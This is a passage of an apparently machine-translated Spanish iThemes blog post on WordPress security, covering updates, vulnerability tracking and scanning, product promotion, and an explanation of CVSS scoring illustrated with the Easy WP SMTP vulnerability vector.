Algo tan simple como actualizar su software puede protegerlo. Así que no ignore esas actualizaciones de WordPress, las actualizaciones son uno de los componentes más básicos de WordPress y de toda la seguridad web.

La función iThemes Security Pro Version Management permite personalizar y automatizar sus actualizaciones de WordPress.

2. Realice un seguimiento de las vulnerabilidades de WordPress

Mantener sus complementos y temas actualizados no lo protegerá de todas las vulnerabilidades. Los desarrolladores que los crearon han abandonado algunos complementos y temas.

Desafortunadamente, si un complemento o tema abandonado tiene una vulnerabilidad, nunca recibirá un parche. Los piratas informáticos apuntarán a sitios web que utilizan estos complementos ahora vulnerables de forma permanente.

Si tiene un complemento abandonado con una vulnerabilidad conocida en su sitio web, le está dando a los piratas informáticos los planos que necesitan para hacerse cargo de su sitio web. Es por eso que debe realizar un seguimiento de las últimas vulnerabilidades.

Es difícil hacer un seguimiento de cada vulnerabilidad de WordPress revelada y comparar esa lista con las versiones de complementos y temas que ha instalado en su sitio web. Hacer un seguimiento de las vulnerabilidades es la diferencia entre tener un sitio web seguro y uno que los piratas informáticos puedan aprovechar fácilmente.

¡Buenas noticias para usted! Realizamos un seguimiento y compartimos todas las vulnerabilidades reveladas en nuestros Resumen de vulnerabilidades de WordPress.

3. Escanee su sitio web en busca de vulnerabilidades

Una forma más rápida de proteger su sitio web de las vulnerabilidades de los piratas informáticos es utilizar escaneos automatizados para verificar sus sitios web en busca de vulnerabilidades conocidas.

IThemes Security Pro Site Scanner es su forma de automatizar la protección contra vulnerabilidades en todos sus sitios web de WordPress. Site Scanner comprueba su sitio en busca de vulnerabilidades conocidas y aplicará automáticamente un parche si hay alguno disponible.

El sitio iThemes Security Pro busca 3 tipos de vulnerabilidades.

1. Vulnerabilidades de WordPress
2. Vulnerabilidades de complementos
3. Vulnerabilidades del tema

La función de auditoría del sitio de iThemes Sync Pro aprovecha el poder de Google Lighthouse para proteger su sitio web. Site Audit comprueba y marca las páginas que incluyen bibliotecas de JavaScript de front-end con vulnerabilidades de seguridad conocidas.

Es una práctica común que los desarrolladores utilicen código de terceros, como bibliotecas JS, en sus complementos y temas. Desafortunadamente, si las bibliotecas no se mantienen adecuadamente, pueden crear vulnerabilidades que los atacantes pueden aprovechar para piratear su sitio web. El uso de componentes con vulnerabilidades conocidas está en la lista de los 10 principales de OWASP.

¡La auditoría del sitio me salvó el tocino! Creé un programa de auditoría para que Sync Pro realizara auditorías automatizadas semanales y me envíe los informes de auditoría por correo electrónico. Mantengo todo actualizado, y es por eso que me sorprendió cuando vi en una de las auditorías de mi sitio web que estaba usando bibliotecas de JavaScript con vulnerabilidades de seguridad conocidas.

¡El informe me señaló una versión desactualizada de jQuery en el directorio de WordPress del sitio web plagado de vulnerabilidades conocidas! Por suerte para mí, vi en mi Sync Pro Site Audit que estaba usando bibliotecas de JavaScript con vulnerabilidades de seguridad conocidas y pude resolver el problema antes de que mi sitio web fuera pirateado.

Cómo medir un riesgo de vulnerabilidad de WordPress

Hay varios tipos de vulnerabilidades de WordPress, todas con distintos grados de riesgo. Afortunadamente para nosotros, la Base de Datos Nacional de Vulnerabilidad, un proyecto del Instituto Nacional de Ciencia y Tecnología, tiene una calculadora de sistema de puntuación de vulnerabilidad para determinar el riesgo de una vulnerabilidad.

Esta sección de la guía de vulnerabilidades de WordPress cubrirá las métricas y los niveles de gravedad del sistema de puntuación de vulnerabilidades. Si bien esta sección es un poco más técnica, algunos usuarios pueden encontrarla útil para profundizar su comprensión de cómo se evalúan las vulnerabilidades de WordPress y su gravedad.

Métricas comunes del sistema de puntuación de vulnerabilidades de WordPress

La ecuación del sistema de puntuación de vulnerabilidad utiliza tres conjuntos diferentes de puntuaciones para determinar la puntuación de gravedad general.

1. Métricas base

El grupo de métricas base representa las características de una vulnerabilidad que son constantes en todos los entornos de usuario.

Las métricas base se dividen en dos grupos, explotabilidad e impacto.

1.1. Métricas de explotabilidad

La puntuación de explotabilidad se basa en lo difícil que es para un atacante aprovechar la vulnerabilidad. La puntuación se calcula utilizando 5 variables diferentes.

1.1.1. Vector de ataque (AV)

La puntuación del vector de ataque se basa en el método en el que se explota la vulnerabilidad. La puntuación será mayor cuanto más remoto esté un atacante para aprovechar la vulnerabilidad.

La idea es que el número de atacantes potenciales será mucho mayor si la vulnerabilidad puede explotarse a través de una red en comparación con una vulnerabilidad que requiere acceso físico a un exploit de dispositivo.

Cuantos más atacantes potenciales haya, mayor será el riesgo de explotación y, por lo tanto, la puntuación del Vector de ataque otorgada a la vulnerabilidad será mayor.

1.1.2. Complejidad de ataque (AC)

El valor de complejidad se basa en las condiciones necesarias para aprovechar la vulnerabilidad. Algunas condiciones pueden requerir la recopilación de más información sobre el destino, la presencia de ciertos parámetros de configuración del sistema o excepciones computacionales.

La puntuación de complejidad del ataque será mayor cuanto menor sea la complejidad necesaria para aprovechar la vulnerabilidad.

1.1.3. Privilegios requeridos (PR)

La puntuación de privilegios requeridos se calcula en función de los privilegios que un atacante debe obtener antes de explotar una vulnerabilidad. Nos sumergiremos un poco más en esto en la sección Autenticados frente a no autenticados.

La puntuación será más alta si no se requieren privilegios.

1.1.4. Interacción del usuario (UI)

La puntuación de interacción del usuario se determina en función de si una vulnerabilidad requiere o no la interacción del usuario para explotarla.

La puntuación será más alta cuando no se requiera la interacción del usuario para que un atacante aproveche la vulnerabilidad.

1.1.5. Alcance

La puntuación del alcance se basa en una vulnerabilidad en un componente de software para afectar los recursos más allá de su alcance de seguridad.

El ámbito de seguridad abarca otros componentes que proporcionan funcionalidad únicamente a ese componente, incluso si estos otros componentes tienen su propia autoridad de seguridad.

La puntuación es más alta cuando se produce un cambio de alcance.

1.2. Métricas de impacto

Las métricas de impacto capturan los efectos directos de una vulnerabilidad explotada con éxito.

1.2.1. Impacto confidencial (C)

Esta puntuación de impacto confidencial mide el impacto en la confidencialidad de la información gestionada por el software explotado.

La puntuación es más alta cuando la pérdida del software afectado es más alta.

1.2.2. Integridad (I)

Esta puntuación de integridad se basa en el impacto en la integridad de una vulnerabilidad explotada con éxito.

La puntuación es más alta cuando la consecuencia del software afectado es mayor.

1.2.3. Disponibilidad (A)

La puntuación de disponibilidad se basa en el impacto de la disponibilidad del software explotado.

La puntuación es más alta cuando la consecuencia del componente afectado es mayor.

Puntaje base Cálculo de puntaje CVSS

La puntuación base es una función de las ecuaciones de subpuntuaciones de impacto y explotabilidad. Donde la puntuación base se define como,

 If (Impact sub score <= 0) 0 else, Scope Unchanged 4 Roundup(Minimum[(Impact+Exploitability),10]) Scope Changed Roundup(Minimum[1.08×(Impact+Exploitability),10]) and the Impact subscore (ISC) is defined as, Scope Unchanged 6.42 × ISCBase Scope Changed 7.52 × [ISCBase - 0.029] - 3.25 × [ISCBase - 0.02] 15 Where, ISCBase = 1 - [(1 - ImpactConf) × (1 - ImpactInteg) × (1 - ImpactAvail)] And the Exploitability sub score is, 8.22 × AttackVector × AttackComplexity × PrivilegeRequired × UserInteraction

2. Métricas de puntuación temporal

Las métricas temporales miden el estado actual de las técnicas de explotación, la existencia de parches o soluciones alternativas, o la confianza que uno tiene en la descripción de una vulnerabilidad.

Se espera que las métricas temporales cambien con el tiempo.

2.1. Vencimiento del código de explotación (E)

La madurez del código de explotación se basa en la probabilidad de que la vulnerabilidad sea atacada.

Cuanto más fácil se pueda explotar una vulnerabilidad, mayor será la puntuación de vulnerabilidad.

2.2. Nivel de remediación (RL)

El nivel de corrección de una vulnerabilidad es un factor importante para la priorización. Las soluciones provisionales o las revisiones pueden ofrecer una solución provisional hasta que se emita un parche o actualización oficial.

Cuanto menos oficial y permanente sea una solución, mayor será la puntuación de vulnerabilidad.

2.3. Informe de confianza (RC)

La métrica Report Confidence mide el nivel de confianza de que existe una vulnerabilidad y la credibilidad de los detalles técnicos.

Cuanto más una vulnerabilidad sea validada por el proveedor u otras fuentes acreditadas, mayor será la puntuación.

Cálculo de la puntuación CVSS temporal

La puntuación temporal se define como,

 Roundup(BaseScore v× ExploitCode Maturity × RemediationLevel × ReportConfidence)

3. Métricas de puntuación medioambiental

Las métricas ambientales permiten a los analistas personalizar la puntuación CVSS en función de la importancia de los activos de TI afectados.

Las métricas de Explotación e Impacto Ambiental son un equivalente modificado de las métricas Base y se les asignan valores basados ​​en la ubicación de los componentes de la infraestructura organizacional. Consulte las secciones de Métricas base anteriores para ver los valores y descripciones de las métricas de Explotación e Impacto.

Las métricas medioambientales contienen un grupo adicional, modificadores de subpuntuaciones de impacto.

3.1. Métricas de modificadores de subpuntuaciones de impacto

Las métricas de Impact Subscore Modifiers evalúan los requisitos de seguridad específicos para Confidencialidad (CR), Integridad (IR) y Disponibilidad (AR), lo que permite ajustar la puntuación ambiental de acuerdo con el entorno de los usuarios.

Cálculo de la puntuación CVSS medioambiental

La puntuación ambiental se define como,

 If (Modified Impact Sub score <= 0) 0 else, If Modified Scope is Unchanged Round up(Round up (Minimum [ (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) If Modified Scope is Changed Round up(Round up (Minimum [1.08 × (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) And the modified Impact sub score is defined as, If Modified Scope is Unchanged 6.42 × [ISC Modified ] If Modified Scope is Changed 7.52 × [ISC Modified - 0.029]-3.25× [ISC Modified × 0.9731 - 0.02] 13 Where, ISC Modified = Minimum [[1 - (1 - M.IConf × CR) × (1 - M.IInteg × IR) × (1 - M.IAvail × AR)], 0.915] The Modified Exploitability sub score is, 8.22 × M.AttackVector × M.AttackComplexity × M.PrivilegeRequired × M.UserInteraction 4 Where “Round up” is defined as the smallest number, specified to one decimal place, that is equal to or higher than its input. For example, Round up (4.02) is 4.1; and Round up (4.00) is 4.0.

Puntaje general de CVSS y gravedad

La puntuación general del sistema de puntuación de vulnerabilidad común o CVSS es una representación de las puntuaciones base, temporal y ambiental.

La puntuación general de CVSS se puede utilizar para darle una idea de la gravedad de una vulnerabilidad.

Ejemplo de clasificación de gravedad CVSS del mundo real

En nuestro Resumen de vulnerabilidades de diciembre de 2020, informamos sobre una vulnerabilidad en el complemento Easy WP SMTP. La vulnerabilidad de día cero (cubriremos las vulnerabilidades de día cero en la siguiente sección) permitió que un atacante tomara el control de una cuenta de administrador y estaba siendo explotado en la naturaleza.

Echando un vistazo a la entrada de la Base de datos nacional de vulnerabilidades, podemos encontrar la clasificación de gravedad de la vulnerabilidad WP SMTP.

Analicemos un par de cosas de la captura de pantalla de WP SMTP NVDB anterior.

Puntuación base : la puntuación base es 7.5, lo que nos indica que la clasificación de gravedad de la vulnerabilidad es alta.

Vector : el vector nos dice que la puntuación se basa en las ecuaciones de vulnerabilidad CVSS 3.1 y las métricas utilizadas para calcular la puntuación.

Aquí está la porción de métricas del vector.

 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Ahora usemos los valores y las descripciones de la métrica base de anteriormente en esta publicación para comprender los ocho valores métricos del vector.

1. AV: N : esto significa que el vector de ataque (AV) de la vulnerabilidad es la red (N). En otras palabras, un atacante solo necesita acceso a la red para aprovechar la vulnerabilidad.
2. AC: L - La complejidad de ataque (AC) de la vulnerabilidad es Baja (L). En otras palabras, cualquier script kiddie puede aprovechar la vulnerabilidad.
3. PR: N : los privilegios requeridos (PR) necesarios para explotar la vulnerabilidad son Ninguno (N). Por lo tanto, la vulnerabilidad no requiere un usuario autenticado para explotarla. (Cubriremos la diferencia entre las vulnerabilidades autenticadas y no autenticadas más adelante en esta publicación).
4. UI: N : la interacción del usuario (UI) necesaria para aprovechar esta vulnerabilidad es Ninguna (N). Entonces, el atacante tiene los medios para explotar la vulnerabilidad por sí mismo.
5. S: U - Esto significa que el Alcance (S) de la vulnerabilidad no ha cambiado (U). En el caso de esta vulnerabilidad, el componente vulnerable y el componente afectado son los mismos.
6. C: H - El impacto de confidencialidad (C) de la vulnerabilidad es alto (H). Cuando se explota esta vulnerabilidad, resulta en una pérdida total de confidencialidad.
7. I: N : el impacto en la integridad (I) de esta vulnerabilidad es Ninguno (N). Cuando se explota la vulnerabilidad, no hay pérdida de integridad o confiabilidad de la información vulnerable.
8. R: N : esto significa que el impacto en la disponibilidad (A) es Ninguno (N). Cuando se explota la vulnerabilidad, no habrá ningún impacto en la disponibilidad de su sitio web.

La puntuación CVSS puede ayudarnos a determinar la gravedad y el alcance de una vulnerabilidad determinada. En las siguientes secciones, cubriremos algunos términos de vulnerabilidad importantes que a menudo se incluyen en las divulgaciones de vulnerabilidades.

Seminario web explicado sobre las vulnerabilidades de WordPress

Consulte nuestro seminario web sobre el mismo tema.

Conclusión: Explicación de las vulnerabilidades de WordPress

Si bien las vulnerabilidades de WordPress dan miedo, la buena noticia es que la mayoría de las vulnerabilidades de WordPress se descubren y se reparan antes de que los malos tengan la oportunidad de explotarlas.

Puede ayudar a proteger su sitio web contra vulnerabilidades manteniendo el núcleo de WordPress y su complemento y temas actualizados, es la mejor manera de asegurarse de que está recibiendo los últimos parches de seguridad.

Michael Moore

Cada semana, Michael elabora el Informe de vulnerabilidad de WordPress para ayudar a mantener sus sitios seguros. Como Product Manager en iThemes, nos ayuda a seguir mejorando la línea de productos de iThemes. Es un nerd gigante y le encanta aprender sobre tecnología, tanto antigua como nueva. Puede encontrar a Michael pasando el rato con su esposa e hija, leyendo o escuchando música cuando no está trabajando.